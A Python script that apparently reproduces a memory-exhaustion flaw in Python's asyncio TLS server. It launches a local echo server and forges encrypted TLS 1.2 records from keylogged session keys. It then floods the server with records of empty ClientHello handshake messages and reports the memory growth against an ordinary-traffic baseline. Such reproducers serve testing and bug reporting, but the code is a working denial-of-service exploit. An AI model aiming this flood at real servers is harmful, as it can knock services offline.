import asyncio
import ctypes
import hashlib
import hmac
import os
import socket
import ssl
import struct
import subprocess
import sys
import tempfile
import time

CERT = os.path.join(os.path.dirname(ssl.__file__), "test", "certdata", "keycert3.pem")
HANDSHAKE, APPLICATION_DATA = 22, 23
EMPTY_CLIENT_HELLO = bytes([1, 0, 0, 0])          # handshake type 1, 24-bit length 0


async def _serve():
    ctx = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
    ctx.load_cert_chain(CERT)

    async def handle(reader, writer):
        while line := await reader.readline():
            writer.write(b"you said " + line)
            await writer.drain()

    server = await asyncio.start_server(handle, "127.0.0.1", 0, ssl=ctx)
    print(server.sockets[0].getsockname()[1], flush=True)
    await server.serve_forever()


libcrypto = ctypes.CDLL("libcrypto.so.3")
libcrypto.EVP_CIPHER_CTX_new.restype = ctypes.c_void_p
libcrypto.EVP_aes_256_cbc.restype = ctypes.c_void_p
libcrypto.EVP_CIPHER_CTX_free.argtypes = [ctypes.c_void_p]
libcrypto.EVP_CIPHER_CTX_set_padding.argtypes = [ctypes.c_void_p, ctypes.c_int]
libcrypto.EVP_EncryptInit_ex.argtypes = [ctypes.c_void_p] * 3 + [ctypes.c_char_p] * 2
libcrypto.EVP_EncryptUpdate.argtypes = [ctypes.c_void_p, ctypes.c_char_p,
                                        ctypes.c_void_p, ctypes.c_char_p, ctypes.c_int]


def aes_256_cbc(key, iv, data):
    c = libcrypto.EVP_CIPHER_CTX_new()
    out, out_len = ctypes.create_string_buffer(len(data)), ctypes.c_int()
    libcrypto.EVP_EncryptInit_ex(c, libcrypto.EVP_aes_256_cbc(), None, key, iv)
    libcrypto.EVP_CIPHER_CTX_set_padding(c, 0)
    libcrypto.EVP_EncryptUpdate(c, out, ctypes.byref(out_len), data, len(data))
    libcrypto.EVP_CIPHER_CTX_free(c)
    return out.raw


def prf_sha384(secret, seed, size):
    a, out = seed, b""
    while len(out) < size:
        a = hmac.digest(secret, a, hashlib.sha384)
        out += hmac.digest(secret, a + seed, hashlib.sha384)
    return out[:size]


def connect(port):
    sock = socket.socket()
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 4096)
    sock.connect(("127.0.0.1", port))
    keylog = tempfile.NamedTemporaryFile()
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    ctx.maximum_version = ssl.TLSVersion.TLSv1_2
    ctx.set_ciphers("ECDHE-RSA-AES256-SHA384")
    ctx.keylog_filename = keylog.name
    incoming, outgoing = ssl.MemoryBIO(), ssl.MemoryBIO()
    tls = ctx.wrap_bio(incoming, outgoing)
    flight = b""
    while True:
        try:
            tls.do_handshake()
            break
        except ssl.SSLWantReadError:
            sock.sendall(outgoing.read())
            got = sock.recv(65536)
            flight += got
            incoming.write(got)
    _, client_random, master_secret = keylog.read().split()[-3:]
    server_random = flight[11:43]
    kb = prf_sha384(bytes.fromhex(master_secret.decode()),
                    b"key expansion" + server_random + bytes.fromhex(client_random.decode()), 160)
    return {"sock": sock, "mac_key": kb[:48], "key": kb[96:128], "seq": 1}


def send_records(client, content_type, payload, count):
    client["sock"].settimeout(3)
    sent = 0
    try:
        for _ in range(count):
            padding = 15 - len(payload) % 16
            iv = os.urandom(16)
            enc = iv + aes_256_cbc(client["key"], iv, payload + bytes([padding]) * (padding + 1))
            mac_in = struct.pack(">QBHH", client["seq"], content_type, 0x0303, len(enc)) + enc
            client["seq"] += 1
            enc += hmac.digest(client["mac_key"], mac_in, hashlib.sha384)
            client["sock"].sendall(struct.pack(">BHH", content_type, 0x0303, len(enc)) + enc)
            sent += len(enc) + 5
    except TimeoutError:
        pass
    return sent


def server_rss(pid):
    prev = -1
    while True:
        with open(f"/proc/{pid}/stat") as f:
            fields = f.read().rsplit(")", 1)[1].split()
        cpu = int(fields[11]) + int(fields[12])
        if cpu == prev:
            break
        prev = cpu
        time.sleep(1)
    with open(f"/proc/{pid}/statm") as f:
        return int(f.read().split()[1]) * os.sysconf("SC_PAGE_SIZE")


def flood(pid, client, content_type, payload):
    base = server_rss(pid)
    sent = 0
    for _ in range(3):
        sent += send_records(client, content_type, payload, 128)
    return sent, server_rss(pid) - base


if __name__ == "__main__":
    if sys.argv[1:] == ["--server"]:
        asyncio.run(_serve())
    server = subprocess.Popen([sys.executable, "-I", __file__, "--server"],
                              stdout=subprocess.PIPE, text=True)
    try:
        port = int(server.stdout.readline())
        sent, control = flood(server.pid, connect(port), APPLICATION_DATA, b"x" * 16383 + b"\n")
        print(f"request lines : {sent} bytes sent, server RSS grew {control} bytes")
        sent, observed = flood(server.pid, connect(port), HANDSHAKE, EMPTY_CLIENT_HELLO * 4096)
        print(f"ClientHellos  : {sent} bytes sent, server RSS grew {observed} bytes")
    finally:
        server.kill()